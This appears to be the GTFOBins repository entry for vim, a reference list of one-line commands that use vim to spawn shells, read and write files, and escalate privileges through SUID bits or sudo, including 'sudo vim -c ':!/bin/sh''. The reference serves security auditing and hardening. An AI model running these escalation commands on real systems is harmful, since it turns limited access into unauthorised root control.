Files
GTFOBins.github.io/_gtfobins/vim.md
2018-12-03 13:15:57 +00:00

603 B

functions
functions
shell file-write file-read suid sudo
code
vim -c ':!/bin/sh'
code
vim :set shell=/bin/sh :shell
description code
This requires that vim is compiled with Python support. vim -c ':py import os;os.system("sh")'
code
vim file_to_write iDATA ^[ w
code
vim file_to_read
code
./vim -c ':!/bin/sh -p'
code
sudo vim -c ':!/bin/sh'
code description
sudo vim -c ':py import os;os.system("sh")' This requires that vim is compiled with Python support.